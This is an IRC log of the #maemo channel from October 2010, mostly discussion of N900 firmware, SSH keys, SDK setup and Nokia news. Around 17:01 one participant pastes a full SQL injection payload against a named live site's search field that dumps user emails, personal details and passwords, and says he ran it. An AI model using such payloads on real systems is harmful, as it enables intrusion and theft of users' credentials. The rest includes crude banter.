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crashanddie	DocScrutinizer, back to cards on which you punch your PIN: People saying they could find which buttons you press the most; there are already cards which have displays included in them. I can already see the keypad where the values of the keys change every single time.	16:20
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DocScrutinizer	crashanddie: I didn't expect they grant me a patent on this :-)	16:21
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DocScrutinizer	welcome back netsplitters	16:22
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* lcukn900 lost all home internet		16:22
crashanddie	lcukn900, and you're saying this how?	16:22
lcukn900	mobile 3g on n900	16:23
DocScrutinizer	@council: could you find out the correct Nokia address to send cherry products to preferably the responsible dudes?	16:23
crashanddie	so there still is internet in your home :D	16:23
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DocScrutinizer	lcukn900: javispedro is on a visit at yours?	16:23
lcukn900	not to the servers/connections/computers i need	16:23
* javispedro is where?		16:24
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DocScrutinizer	[2010-10-28 15:21:09] [Notify] javispedro ist online (kornbluth.freenode.net).	16:24
DocScrutinizer	[2010-10-28 15:21:09] [Notify] lcukn900 ist online (kornbluth.freenode.net).	16:24
Shapeshifter	javispedro: do you think it would be possible to simulate multitouch in such a way that pressing a button the keyboard, e.g. "T" + then swiping on the display would enable a multi touch gesture? As in, pressing T will simulate pressing the display at the bottom edge with one finger, and the real stylus/finger would be the other finger.	16:24
javispedro	Shapeshifter: yes, trivial. You could even implement such a thing yourself! =)	16:24
Shapeshifter	I have no clue about at which level multitouch is implemented	16:24
Shapeshifter	javispedro: really?	16:25
javispedro	You just need to read about SDL and multiple mice.	16:25
Shapeshifter	javispedro: but would it work for already compiled games?	16:25
javispedro	yes...	16:25
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Shapeshifter	ha. I'll look into it	16:25
lcukn900	shapeshifter, that sort of simulated MT is actually possible on the real display anyway. see liqbase fake multitouch. always thought it would be good to do shift style keypreses	16:25
javispedro	My alloted time into hacking for the week has already run out, so expect no more work from me until next week.	16:26
Shapeshifter	sure	16:26
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Jaffa	DocScrutinizer: You start it, I'll link to it	16:30
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DocScrutinizer	Jaffa: ok, but first I'd need an address. Any ambiguity or later change will spoil the whole thing	16:30
Jaffa	DocScrutinizer: Hmm, let me look for one	16:31
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DocScrutinizer	hmm, 3 days left til next mwkn	16:31
DocScrutinizer	this could actually be some fun	16:32
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DocScrutinizer	and also make things move... nah, nothing will make things move, but anyway	16:32
DocScrutinizer	at least the cherries move al over the world :-P	16:33
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Jaffa	DocScrutinizer: Something like "MeeGo Devices" @ the Helsinki address here, I reckon: http://research.nokia.com/locations#helsinki	16:34
Jaffa	DocScrutinizer: "Give Nokia your cherry"	16:34
DocScrutinizer	Jaffa: :-)	16:34
Jartza	"just a few minutes away" :D	16:35
Jartza	from monday to wednesday this week I spent 40 minutes in car between those two	16:35
Jaffa	Jartza: "...at the speed of sound"	16:35
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nid0	so, i'm about a year late in asking this but havent really used it much till now and cant find an obvious answer on tmo, is there any way to get skype to use the n900's main camera for video calls?	16:36
jaska	for a pluto nuclear thermal cruise missile its even less!	16:36
Jartza	cool	16:36
Jartza	let's have few of those	16:36
Jartza	:)	16:36
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Jaffa	Heading which way? ;-)	16:36
RST38h	<yawn>	16:36
Jartza	both? :)	16:36
RST38h	Anything exciting tonight?	16:36
* Jartza loves building from scratch		16:36
Jartza	:)	16:36
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crashanddie	Jaffa, do you do job advertisement on MWKN?	16:38
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Jaffa	crashanddie: Could do, if it was interesting.	16:38
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Jaffa	crashanddie: "Software developer @ MeeGo devices", yawn (probably). "VP of MeeGo Devices", more interesting ;-)	16:39
javispedro	lol	16:40
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MohammadAG51	if only the guy leaking PRs leaked something more useful	16:43
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MohammadAG51	the source code of all apps	16:43
crashanddie	Jaffa, "Urgent, team of MeeGo/Maemo developers in Finland. C++ / Qt experience a plus"	16:43
DocScrutinizer	crashanddie: why advertise? just toss it over to me! ;-P	16:44
javispedro	"Not required, though" =)	16:44
frals	crashanddie: same crap as im getting daily on linkedin? :(	16:44
N900_athens	anybody knows why there is no maemo Pr.1.3 for my n900 via nokia.com or OTA?	16:44
crashanddie	yeah, just got it through linkedin	16:44
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MohammadAG51	lol got it through email	16:44
DocScrutinizer	MohammadAG51: won't happen. Those are Nokia testers that never get tpo see the code themselves	16:45
RST38h	Moo, konttori	16:45
ShadowJK	Myrtti: is your phone broken too?	16:46
DocScrutinizer	N900_athens: probably because you a) are on UK version, or B) have "broken the seal" as timeless(?) named it	16:46
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javispedro	moo RST38h btw	16:46
javispedro	and everyone	16:46
RST38h	javispedro: EHLO indeed	16:46
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DocScrutinizer	crashanddie: looks like Nokia is doing the age old error and throws in more untrained manpower on a team, to keep a deadline. Never works, as every new team member tends to push deadlines of next 6 months by at least several days	16:49
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DocScrutinizer	s/every/each	16:50
javispedro	someone didn't run "that book with dinosaurs in the cover" as described by someone I know =)	16:50
javispedro	s/run/read	16:50
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N900_athens	anyone from greece?	16:51
RST38h	javispedro: they could have gone for the teddy bear book	16:52
RST38h	javispedro: a tamer, lamer version	16:52
crashanddie	N900_athens, yes, there's someone	16:52
javispedro	heh	16:52
RST38h	Doc: With the right organization it may work	16:53
crashanddie	N900_athens, last I checked, there were 11 million people "from greece"	16:53
RST38h	Doc: Of course, it depends on whether the new guys can actually develop code	16:53
crashanddie	RST38h, it doesn't, because no-one can jump in a project and start writing code	16:53
javispedro	LOL	16:53
crashanddie	if you can, you're a bad developer	16:53
DocScrutinizer	crashanddie: ack	16:53
crashanddie	and you probably have no clue what you're doing -- you end up producing products that are broken.	16:54
javispedro	the guys at TheDailyWtf made a Visual Studio extension that automatically submits code to the dailywtf	16:54
javispedro	I would make it automatically submit entire VB projects =)	16:54
DocScrutinizer	hehe	16:54
crashanddie	TRWTF is VB	16:54
DocScrutinizer	"but.. but... VB is nice!!1!!"	16:54
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javispedro	http://inedo.com/Resources/Images/Curios/SubmitWTFMenu.png	16:55
javispedro	lol	16:55
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erani	is there a way to remove an individual appointment from a repeating appointment in calendar? due to e.g. some kind of exception in lecture arrangements	16:55
javispedro	Someone should make a song about this..	16:55
chem\|st	N900_athens: you are looking for someone with a greek build of maemo at a n900, there is no greek build!	16:55
javispedro	If there's something strange. .. in your VB application ... Who you gonna call? DailyWTFers!	16:56
DocScrutinizer	erani: HAH, I honestly doubt that	16:56
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RST38h	crashanddie: You do not want to make them write code from the start	16:56
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RST38h	crashanddie: First of all, you can create a team with 1-2 old timers leading that works on the UI	16:56
RST38h	crashanddie: this is really easy in QML by the way	16:57
crashanddie	maybe we don't, but I sure as hell know a lot of managers who would love nothing more than drones that start printing code as soon as they touch a keyboard	16:57
RST38h	crashanddie: For the coding jobs, you select trackers that require trivial work and assign them to newbies, giving each of them a buddy	16:57
* DocScrutinizer whisling the gostbusters theme		16:57
RST38h	crashanddie: well, a lot of non-technical people think that writing code is like digging ditches but we all know it is not	16:58
RST38h	Some of it (like web programming) ALMOST is :)	16:58
erani	DocScrutinizer: oh well. symbian had that option so I somehow thought maemo would too :D it's quite useful after all to change one appointment in a series of gazillion that would stay the same	16:58
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DocScrutinizer	agree, and honestly I haven't tried to do that yet	16:59
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fcrochik	can anybody help me with a crash course on how to debug/trace an application on the device?	17:00
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DocScrutinizer	somebody evaluated importing of appointments to N900 from google, and claimed biweekly or somesuch stays intact as long as you don't edit. So possibly there's the infra to do that, but no UI	17:00
erani	yeah. i usually carry my school calendar with me in my phone all the time, and lectures tend to change quite frequently so changing an individual appointment or putting some notes into it would be great	17:00
crashanddie	RST38h, well, this guy really was digging a ditch: http://mobilemru.com/meetup/ search for this: (note the space after the double dash at the end) ' or 10 union (select name, concat('Userid: ', id, ' -- email ', email, ' (', name, ' ', surname, ') is a ', if (sex=1, 'male ', if (sex=2, 'female', 'gay')), if (religion=1, 'hindu', if (religion=2, 'muslim', if (religion=3, 'christian', if (religion=4, 'buddhist', 'south-indian'	17:01
crashanddie	)))), ' (password: "', password, '")'), id, id, id, id, id, id, id, id from profile); --	17:01
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DocScrutinizer	lol	17:02
DocScrutinizer	SQL injection fun	17:02
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javispedro	and they say php magic quotes was evil	17:02
crashanddie	javispedro, magic quotes is evil	17:03
* Stskeeps ponders idly why someone says 'nitdroid all over again' in a negative fashion		17:03
Stskeeps	did i miss something?	17:03
javispedro	crashanddie: it is when you try to know what you're doing, it isn't when you don't, like the above guy	17:03
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DocScrutinizer	Stskeeps: ??	17:03
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lcukn900	crashanddie, thats the same site you were trying to hype yesterday, ehats your relationship/motivation behind this? is it your code/site thats running?	17:03
DocScrutinizer	you missed "Give Nokia your cherries" birth :-)	17:04
crashanddie	lcukn900, nope	17:04
chem\|st	~tell N900_athens about flasher	17:04
chem\|st	~tell N900_athens about flashing	17:04
ZogG	hey	17:04
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ZogG	~tell chem\|st about DocScrutinizer	17:05
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lcukn900	so why so interested in one specific site, theres many many places which show tell you how to deal with sql injection and what does it jmatter anyway in this case?	17:05
crashanddie	lcukn900, just some racist homophobic asshole who assumes everyone owes him something. I don't like being insulted because someone doesn't like the fact you have to pay to have a nice design for your website	17:05
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crashanddie	lcukn900, for the record, he's getting emails with all the information I'm getting from the sql injection, and I told him how to plug it, plus, it's a test website	17:06
ZogG	lcukn900, crashanddie just punch each other in the face and calm down =) (stop fighting girls)	17:06
crashanddie	we're fighting?	17:06
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RST38h	Hmmm...	17:06
ZogG	aren't you?	17:07
chem\|st	ZogG: ?	17:07
lcukn900	err whatever. :s obviously some grudging going on	17:07
ZogG	boring	17:07
RST38h	crash: When you hack someone and deface his site, do not say you have done it because he is homophobic or asshole	17:07
ZogG	RST38h privet	17:07
* javispedro ponders why does the power button have a fixed timeout to send the "released" event		17:07
RST38h	crash: Just admit it: you are doing it for LULZ!	17:07
RST38h	ZogG: TAKuKY	17:07
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WolfS	Åñòü ðóññêèå ?	17:07
crashanddie	RST38h, he lists "GAY" as a sex, and your account is suspended when you register as a gay muslim, because "those two options aren't compatible"	17:08
RST38h	WolfS: No, use latin.	17:08
ZogG	WolfS, englih nd unicode please	17:08
DocScrutinizer	javispedro: ?? elaborate	17:08
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ZogG	crashanddie like you do give a shit	17:08
crashanddie	I do.	17:08
RST38h	crash: That is his own brainbugs to sort out	17:08
ZogG	crashanddie why would you?	17:08
WolfS	where russia people ?	17:08
crashanddie	Plus I was bored at work yesterday.	17:08
javispedro	DocScrutinizer: the N900 power button input device -- it sends key down events right when you press it, but it sends key release events a second or so after	17:08
ZogG	WolfS here	17:08
crashanddie	WolfS, in russia	17:08
lcukn900	crashanddie, can i ask how you found this outa?	17:09
ZogG	lcukn900 he is gay muslim ???	17:09
WolfS	hmmm	17:09
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DocScrutinizer	javispedro: after press while still held down, or after release?	17:09
javispedro	release	17:09
ZogG	WolfS ya slushau =) if you have something to sk you can PM RST38h, he is russian and like to help people	17:09
DocScrutinizer	weird	17:09
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RST38h	ZogG: I like helping people? Really?	17:10
* lcukn900 goes finding out whats wrong with virgin		17:10
* RST38h found something new about himself today.		17:10
crashanddie	lcukn900, it's in the bloody code he demonstrated. He didn't open a <?php tag and the code was in the free	17:10
ZogG	so music playing after call and play button on widget will never be fixed ah	17:10
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ZogG	crashanddie opensource FTW	17:10
WolfS	ZogG , I am badly speak english	17:10
crashanddie	ZogG, lol :)	17:10
crashanddie	WolfS, yeah, we gathered that.	17:10
RST38h	ZogG: May get fixed once they open the involved source code	17:11
crashanddie	WolfS, http://translate.google.com	17:11
timeless_mbp	DocScrutinizer: yeah, that was my term	17:11
RST38h	crash: Google is even worse at it	17:11
crashanddie	RST38h, hmm. It's actually decent with western-european languages	17:11
ZogG	RST38h oh i see - it will never happens?	17:11
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tybollt	why the hell are you into computers if you can't speak english?	17:11
RST38h	ZogG: Not necessarily. Ask someone from Nokia for current status	17:12
* tybollt is tired of the apologists...		17:12
ZogG	or n900 would be dinosaur when phones would be implant in your head	17:12
RST38h	tybollt: Why are you here then?	17:12
ZogG	tybollt in soviet russia computers into you	17:12
DocScrutinizer	timeless_mbp: sorry trashcollector cleaned up my stack - context please	17:12
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loufoque_	I had an N900 up to now paid by my company, I have to give it back	17:13
loufoque_	I'm wondering if I should buy a new one	17:13
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ZogG	RST38h i don't believe any Nokia lies anymore	17:13
loufoque_	or if I should move to a new device	17:13
timeless_mbp	"broke the seal"	17:13
DocScrutinizer	aah	17:13
ZogG	so how the F Microsot got the money from companies for using android?	17:13
mgedmin	loufoque_, n900 is the best linux lapto^H^H^H handheld I've seen	17:13
ZogG	haven't you read about it?	17:13
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tybollt	ZogG: nokia lies? what now?	17:14
mgedmin	if you want a _phone_, you may want to look elsewhere	17:14
ZogG	tybollt they don;t lie - they are not telling whole truth	17:14
tybollt	about what?	17:14
ZogG	tybollt everything is too much cloudy to see thru	17:14
loufoque_	mgedmin: but nokia doesn't care about it	17:14
tybollt	ZogG: yeye but what specific issue are you getting at?	17:14
ZogG	tybollt updates, changelogs, flash, bugs...	17:14
mgedmin	depends on how you define "care", I suppose	17:14
tybollt	ZogG: oh yes - of course	17:14
javispedro	loufoque_: it cares as much as Dell cares about that Linux laptop it just sold you	17:14
mgedmin	they keep releasing new firmwares every now and then	17:14
tybollt	ZogG: but you can't atually SAY that... cause if you do all the nokia people go all EMO and shit	17:15
ZogG	tybollt all the videos from lab of new things they made with N900 thatu never can see actually and if you e-mail to ask you get some beautifull blahblah shit	17:15
tybollt	but yes you are right of course	17:15
javispedro	loufoque_: aka nothing at all =)	17:15
tybollt	zogg++	17:15
ZogG	tybollt not all Nokias, but Nokia, there is a difference	17:15
loufoque_	javispedro: Apple cares about its iphone and its appstore	17:16
DocScrutinizer	weird stuff - all they day I feel like Friday, and an hour ago I was thinking "hey but IRC isn't like Fr". Not now though	17:16
ZogG	i don't mind to get NO, but to get no answer is killing	17:16
ZogG	about flash is most funny	17:16
ZogG	adobe says it's nokia and nokia is adobe	17:16
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loufoque_	javispedro: I'd like Nokia to do the same	17:16
psycho_oreos	apple cares too much about its owners	17:16
loufoque_	Ovi is shit	17:16
javispedro	loufoque_: complain	17:16
ZogG	apple doesn't	17:16
javispedro	loufoque_: (with your pocket ofc)	17:16
javispedro	er.,.	17:17
ZogG	psycho_oreos than use apple with only functions they say you to use	17:17
javispedro	s/pocket/money	17:17
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D-man	Hey guys. Is there a gui ssh client availible for n900?	17:17
ZogG	apple cares to look good in eyes of people and it's different	17:17
loufoque_	I'm not sure not giving money to nokia helps	17:17
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loufoque_	nokia is in desperate need of money if they want to make a comeback on the smartphone scene	17:17
javispedro	money??'	17:17
psycho_oreos	ZogG, I'm not supporting apple's stance	17:17
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lcukn900	d-man? ssh is secure shell..?	17:17
* mgedmin boggles at the thought of a "gui ssh client"		17:17
javispedro	more like "gui ssh launcher"	17:18
D-man	yes...	17:18
mgedmin	well, I suppose menus for defining favourite hostnames etc...	17:18
ZogG	psycho_oreos iphone has the awesomest fetuare	17:18
lcukn900	x-term is the gui :p	17:18
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javispedro	iphone has the awesomest fetus?	17:18
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ZogG	iphones are bought so much with no explanations -- best feature	17:18
D-man	Yeah... i'm having some problems. It asks me for passphrase of privatekey. Putty just asked me for username and pass.. :S	17:19
psycho_oreos	ZogG, the hardware is pretty nice.. the software is on the par but the evangelist that is now peddling with keeping track of jailbroken iphone users isn't	17:19
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psycho_oreos	and him constantly talking trash is quite ludicrous	17:20
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ShadowJK	d-man: ah yeah it can be a pain to get putty to work properly with keys	17:20
DocScrutinizer	meh	17:21
Termana	All I can do is facepalm at you loufoque_	17:21
D-man	But... putty works fine.. i can't get it to work with xterm..	17:21
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BCMM	on the topic of GUI ssh clients, putty works pretty well for people who can't actually use computers	17:22
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visz	puttytray is even better	17:22
ShadowJK	so you've made a ssh key, locked it with a password and forgotten the password?	17:22
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BCMM	by which i mean, you can give them a menu entry and tell them "double click on that to reboot the server"	17:22
ShadowJK	i guess you'd delete the .ssh/id_rsa and .ssh/id_rsa.pub keys then..	17:23
ZogG	loufoque_ it's not all about money, there are respect, love and understanding, ask DocScrutinizer, we are BFF here =)	17:23
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* BCMM hugs everyone		17:23
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DocScrutinizer	ZogG: HEH?	17:24
Termana	ZogG, I will facepalm at you if you actually believe what loufoque_ said	17:24
KaffeeJunky123	do I need both X86 and ARML if I want to tinker with the sdk a little?	17:24
D-man	well.. I know the passphrase, but when connecting with putty it asks me for username first and then for passprashe, xterm just asks for passphrase, but it doesn't accept the one I previusly used...	17:24
lcukx200	D-man, what is the ssh connection string you are using	17:25
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javispedro	KaffeeJunky123: what kind of tinkering? you might not need the SDK at all	17:25
lcukx200	normally you include the username you want to connect with that	17:25
lcukx200	ie: ssh gary@10.0.0.1	17:25
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KaffeeJunky123	javispedro: writing little c++ ish hildon applications and such	17:25
ZogG	BCMM ohhhhh, you are so sweet	17:25
KaffeeJunky123	javispedro: I think it's way more comfortable to develop those on my pc, instead of ssh into the N900	17:26
javispedro	KaffeeJunky123: ah, nice. Not having the x86 target will prevent you from running your apps on the SDK, while not having the ARMEL target will prevent you from running the apps on the N900 =)	17:26
javispedro	KaffeeJunky123: you decide :)	17:26
KaffeeJunky123	um	17:26
D-man	lcukx200: ssh -i /path/to/ppk HOST -p PORT	17:26
loufoque_	ZogG: what did I say	17:26
KaffeeJunky123	qemu should get ARMLE to work ^^	17:26
KaffeeJunky123	well I'll just try out and I'll see what actually works	17:26
BCMM	the SDK will execute ARM binaries using qemu, but last i heard said ARM binaries couldn't use the X-server for some odd reason	17:26
javispedro	KaffeeJunky123: it might run your app but it does not run the entire Maemo UI	17:26
crashanddie	LOL "I recently spent several weeks in France and have come away with three thoughts, the third of which is rather rambling."	17:26
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javispedro	KaffeeJunky123: either way gdb runs so much better on the x86 target.	17:27
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lcukx200	D-man, idk then! i just use it simply	17:27
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BCMM	presumably, the UI uses which arch it's being built for to decide whether or not to worry if it can't actually find the GSM modem and such?	17:27
* lcukx200 curses 3.5g chirping on my speakers		17:28
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javispedro	BCMM: it's just qemu-user limitations from the sdk version	17:28
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BCMM	javispedro: what limitation? performance ones?	17:29
javispedro	http://www.youtube.com/watch?v=Tn-YesqzvNk I wonder if this is some kind of Chinese' Onion News Network.	17:29
BCMM	javispedro: also, is there still a problem with ARM apps using the x-server?	17:29
javispedro	BCMM: there are no problems with the x-server perse. qemu-user fails to emulate some stuff.	17:30
BCMM	ah, ok. like what?	17:30
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javispedro	dunno, but it failts to boot the UI.	17:30
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BCMM	lcukx200: heh, can you tell the difference between the sounds of different GSM-ish specs?	17:31
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lcukx200	BCMM, well it had dropped from 3.5g to 2.5g when the chirping was there	17:32
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Jo-erlend-	is there a native client for anyremote?	17:33
crashanddie	"I mainly shoot weddings, portraits and some still live." <-- Improved accuracy required. He leaves survivors.	17:34
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Jo-erlend-	~pr1.3	17:35
infobot	i guess pr1.3 is the latest (and probably last) software update for Fremantle, available since Monday October 25 2010. More information at http://conversations.nokia.com/2010/10/25/new-nokia-n900-software-update-available/ -- see ~flashing for how to update, or http://repository.maemo.org/stable/fremantle/Maemo_5_SDK_Release_Notes_v1_7_en.txt, or http://mg.pov.lt/maemo-irclog/%23maemo.2010-10-26.log.html#t2010-10-26T03:02:54	17:35
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ZogG	Termana you are too old to get my sarcasm	17:40
ZogG	~pr1.4	17:40
infobot	PR1.4 has always been a ban'able subject	17:40
ZogG	=(	17:40
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Termana	ZogG, actually I'm probably younger than you, but ok :P	17:41
KaffeeJunky123	Termana: u18?	17:41
Termana	Rephrase in an understandable manner?	17:42
crashanddie	KaffeeJunky123, gtfo you perv	17:42
Termana	:p	17:42
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KaffeeJunky123	crashanddie: I was about to tell him that IRC isn't a place for the underaged because there are so many pervs :(	17:43
KaffeeJunky123	crashanddie: what are you? the pedofinder general?	17:43
crashanddie	KaffeeJunky123, acceptance is always the first step in remission. Good on you.	17:43
ZogG	Coon is back	17:43
* ZogG mp> south.park.s14e11.repack.720p.hdtv.x264-ctu.mkv [1280x720 H264 24.000fps]		17:43
Termana	crashanddie, you just found one apparently	17:44
Termana	:p	17:44
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crashanddie	KaffeeJunky123, I'm PEDOBEAR	17:44
Termana	crashanddie, I was thinking more like you know, Chris Hansen	17:44
Termana	But Pedobear works as well	17:44
crashanddie	Termana, http://images.encyclopediadramatica.com/images/9/99/Cavitysearchpedobear.jpg	17:45
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Termana	heh	17:47
KaffeeJunky123	http://www.youtube.com/watch?v=jaUkt59vY1Q	17:47
KaffeeJunky123	that's what I was refering to	17:47
KaffeeJunky123	and they're in turn refering to some american television show	17:47
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BCMM	it's a shame there are probably no more PRs coming	17:57
BCMM	it's long been my ambition to find out about one just before #maemo does	17:57
BCMM	and get banned	17:57
crashanddie	you wouldn't get banned	17:57
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crashanddie	the whole "is a bannable subject" thingie by infobot is just a meme to get maenoobs to stfu about "When is the next update coming?"	17:58
BCMM	crashanddie: yeah, i know that really	17:58
crashanddie	good, I was worried for a second :D	17:58
KaffeeJunky123	it's coming "when it's finished"™?	17:58
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crashanddie	BCMM, though, if your long ambition is to get banned from #maemo, I can help you accomplish that :)	17:59
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erani	is it possible to make changes to e.g. n900's calendar software so that the changes would be then applied to an official patch release rather than making it as some kind of a downloadable program in the maemo app center?	18:02
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Myrtti	ShadowJK: yeah, my Nexus One	18:03
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\|187\|	guess is there some kinda counter for the sms? i mean without installing additional script or smth? i cant find any setting/option (for n900 that is)	18:05
\|187\|	in all nokias i had till now there was a counter built-in	18:05
\|187\|	mh	18:05
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agi	\|187\|: user/.rtcom-eventlogger/el.db is a sqlite DB with all data. you can create a little script to query it	18:18
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\|187\|	sweet thx agi will have a look.. thought there was somewhere already something setup that i just missed ;)	18:21
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BCMM_	well, it looks like i'm going to have to flash to get 1.3; any advice on how to do things smoothly?	18:27
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BCMM_	am i right that it won't overwrite ~/MyDocs, but will overright ~/?	18:28
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BCMM_	^overwrite	18:28
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lcuk	yes BCMM_ - use the backup tool to save the config data, app list and repositories	18:28
ZogG	BCMM_ backup	18:28
BCMM_	lcuk: ah thanks, i forget about the backup tool	18:29
BCMM_	lcuk: i was actually starting to consider dpkg -l + some bash magic	18:29
lcuk	:)	18:29
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BCMM_	oh, i must remember to backup my boot video setup	18:31
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* lcuk sighs at hacks and mods not being packaged up		18:32
BCMM_	oh, i must remember to backup my boot video setup	18:32
BCMM_	uh	18:32
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BCMM_	i meant: lcuk: ?	18:33
lcuk	BCMM_, you just highlighted a single one, but if your bootvideo configuration came in a proper package from extras, it wouldnt require extra work from you or others to maintain it beyond a flash	18:34
iksaif	hi, anyone using lugdulo'v here ? :)	18:34
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Venemo	hey bradas!	18:35
MohammadAG	hi Venemo	18:35
Venemo	the repair centre was unable to repair my N900, so they replaced it with a new one :)	18:35
BCMM_	lcuk: well, it's just a video i made and a config file that points to it	18:35
Venemo	hello MohammadAG	18:35
BCMM_	it says "don't panic" in large friendly letters	18:35
lcuk	BCMM_, sure	18:36
lcuk	now you are panicing to back it up :P	18:36
BCMM_	and more importantly, has NO SOUND	18:36
Venemo	hey lcuk	18:36
lcuk	\o venemo	18:36
lcuk	bah at not being able to get hold of the ppl I wanted to before my internet fell off	18:37
Venemo	it is brand new :) so I'm happy now. never seen a brand new N900	18:38
lcuk	\o/ Venemo	18:39
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Venemo	:)	18:42
Venemo	I'll be back	18:42
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kerio	lcuk: oh come on - that was a test! (re: links)	18:52
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Venemo	hi again	18:53
lcuk	i will test kicking you into orbit if i ever see anything like that again	18:53
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Venemo	the N900 still runs PR 1.1 (I think), but I can't reflash it from Windows...	18:54
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jacekowski	then flash it from linux	18:54
Venemo	will do	18:55
Venemo	I just have to wait until I get home to my Linux HDD	18:56
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Oli```	Is it possible to change the SSU of a n900 without reflashing? I tried changing apt's sources.list to mr0 but the update manager seems to keep a tight lid on that and kept switching it back to 203 (UK)	19:03
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MohammadAG	it's not a matter of links, packages differ a bit from one firmware to another	19:04
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MohammadAG	if you want global, reflash	19:04
MohammadAG	UK firmware is retarded really	19:04
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DocScrutinizer	BCMM_: hey you finally did it?!! gimmegimmegimme! Pretty please!	19:09
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DocScrutinizer	I'd even consider packaging it for you, and properly ship to extras-devel	19:10
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DocScrutinizer	if you like me to	19:12
korhojoa	~pr1.3	19:12
infobot	i heard pr1.3 is the latest (and probably last) software update for Fremantle, available since Monday October 25 2010. More information at http://conversations.nokia.com/2010/10/25/new-nokia-n900-software-update-available/ -- see ~flashing for how to update, or http://repository.maemo.org/stable/fremantle/Maemo_5_SDK_Release_Notes_v1_7_en.txt, or http://mg.pov.lt/maemo-irclog/%23maemo.2010-10-26.log.html#t2010-10-26T03:02:54	19:12
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Jaffa	DocScrutinizer: mece: meego.com meego-dev archives for October 2010 have been 404ed. Shame about http://permalink.gmane.org/gmane.comp.handhelds.meego.devel/6477 etc.	19:15
mece	huh?	19:16
mece	damn	19:16
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DocScrutinizer	Jaffa: sorry?	19:16
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Jaffa	DocScrutinizer: http://lists.meego.com/pipermail/meego-dev/2010-October/006884.html now 404s; it was the email from a Nokian forwarding an earlier email which contained the label "About your N9"	19:18
DocScrutinizer	Jaffa: you tell us somebody nuked the archive as there's been the string "N9" somewhere in a post? o.O	19:18
Jaffa	DocScrutinizer: Looks like it	19:18
DocScrutinizer	omfg	19:18
Stskeeps	well, i doubt that is so much the problem, but considering the guy friggen sent a mail with a lot of internal server info..	19:18
DocScrutinizer	nazi alarm	19:18
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mece	Nazi alarm indeed	19:18
Jaffa	DocScrutinizer: All of "Thread", "Subject", "Author" and "Date" for October 2010 on http://lists.meego.com/pipermail/meego-dev/ 404. Gzip'd downloadable version still works	19:18
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DocScrutinizer	hehe	19:19
javispedro	also, google cache still has it =)	19:19
Jaffa	Stskeeps: It's on the Internet. It's been broadcast to a bazillion people, clearing it up off meego.com is like trying to extract a drop of water from the Atlantic.	19:19
Stskeeps	Jaffa: not disagreeing	19:19
Jaffa	javispedro: And gmane, and mail-archive.com, and listware.net, and ...	19:19
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Jaffa	Stskeeps: projects.maemo.org in there was also interesting, TBH. But tekojo's set me straight on where (and what) that is.	19:20
* wmarone hrms at GSM noise coming across his headphones :/		19:20
DocScrutinizer	well, if anybody needs the gzip... just ping me :-P	19:21
loufoque_	Jaffa: someone has an N9?	19:21
javispedro	sigh.	19:21
Jaffa	loufoque_: Well, I assume a few Nokians do; but that's not what this was.	19:21
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loufoque_	what was it then	19:22
javispedro	at least some Nokia devs think it's going to be named "N9", which I at least doubted until this point	19:22
Jaffa	loufoque_: If you believe the "we don't want N9, as an embargoed name, getting out" http://permalink.gmane.org/gmane.comp.handhelds.meego.devel/6477. If you believe "OMG, internal infrastructure exposed", then http://permalink.gmane.org/gmane.comp.handhelds.meego.devel/6476	19:23
mece	javispedro, well something was named n9, since it was printed on the tin :)	19:23
MohammadAG	gzip looks corrupt	19:23
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* Jaffa wonders if, with some SMTP fakery, one could email harmattan-changes and use it to communicate some big change ;-)		19:24
Stskeeps	"rewrite everything in gtk"	19:24
mece	LOL	19:24
javispedro	"Execute Order 66"	19:24
Jaffa	Like "email all source code here"; "please can each group send marketing materials to ..."; "We're moving to C# over Qt, get going!"	19:24
Jaffa	javispedro: Noooooo	19:24
lcuk	they say chivalry is dead, but I detect tact is also a dying breed	19:26
Stskeeps	"open source cherry"	19:27
Shapeshifter	though it's funny that we're pretty much having a replay of the '90s where 3D games came out but they're all blocky and the aiming is a bit weird and it's all a bit of a laugh.	19:27
Shapeshifter	just that now they run on our phones	19:27
mece	Shapeshifter, what games are you referring to?	19:28
Shapeshifter	mece: the palm pre games that run on the n900. assassin's creed, nova...	19:29
Jaffa	lcuk: Meh, it's not that hard to get right. Nor are two bytes the end of the world (neither is making light of a situation that, no doubt, has some Nokians annoyed & upset)	19:29
Shapeshifter	assassin's creed barely looks any better than mario 64	19:29
Shapeshifter	I mean, it's cool for such a small device, but putting it in perspective...	19:29
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javispedro	Shapeshifter: calling Mario 64 a game from the 90s makes me feel quite old	19:29
javispedro	Shapeshifter: so, don't.	19:30
mece	Shapeshifter, oh. Those. I don't have access to any of those games :/	19:30
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Shapeshifter	javispedro: mario 64 is from 1996	19:30
mece	Shapeshifter, Dune 2 :) Assassins creed seem very new.	19:30
javispedro	Shapeshifter: GO AWAY!! GO AWAY!! LALALALALALA I'm not listening!!	19:30
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Shapeshifter	lol	19:30
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mece	The ScummVM games feel like 90ies. Those pre games look shiny and new.	19:31
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Khertan	Hi !	19:31
Shapeshifter	mece: they do look shiny and new but they're actually not :)	19:32
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mece	Shapeshifter, oh.	19:32
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Shapeshifter	http://appmodo.com/wp-content/uploads/2010/01/palm-assassins-creed.png	19:32
Shapeshifter	well they're new allright, but not that shiny	19:33
mece	nod. rather lo res on pre	19:33
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javispedro	Jaffa: not only two bytes. We also know it has TV-out, SIM-card, a battery, and a USB port ;)	19:34
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javispedro	Jaffa: and that it is a phone! not a tablet =( ;)	19:34
MohammadAG	hmm, how do I add a sleep without stopping the UI?	19:35
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Shapeshifter	MohammadAG: in what?	19:35
MohammadAG	Qt	19:35
javispedro	MohammadAG: don't sleep but block on the main loop. What toolkit is this?	19:35
Khertan	Shapeshifter, good luck to play ... it use multi touch :)	19:35
Jaffa	javispedro: And Bluetooth	19:35
Jaffa	javispedro: And a "tele coil"	19:35
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Jaffa	javispedro: ...which seems to be a hearing aid induction loop brand, AFAICT	19:35
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javispedro	A tele-coil.	19:36
Khertan	https://garage.maemo.org/builder/fremantle/khweeteur-experimental_0.0.39-7/armel.root.log.FAILED.txt <<< someone understand the reason of the failed ?	19:36
javispedro	now is that the revolutionary part? =)	19:36
MohammadAG	javispedro, Qt/C++	19:36
javispedro	MohammadAG: do you want a timeout instead (getting a callback called after a few seconds?=	19:36
DocScrutinizer	MohammadAG: timer	19:36
Jaffa	javispedro: Carrying on from Order 66, it allows you to remotely choke someone without having to be a Sith lord.	19:36
Shapeshifter	MohammadAG: there are a few different solutions: http://doc.trolltech.com/qq/qq27-responsive-guis.html	19:37
hrw\|uds	Khertan: check what dpkg-checkbuilddeps do	19:37
Shapeshifter	Khertan: yeah I know. I'm trying to figure out if it's possible to make some fake multitouch work	19:37
javispedro	Jaffa: I guess some Nokia manager, per usual, interpreted "needing a killer application" literally ;)	19:38
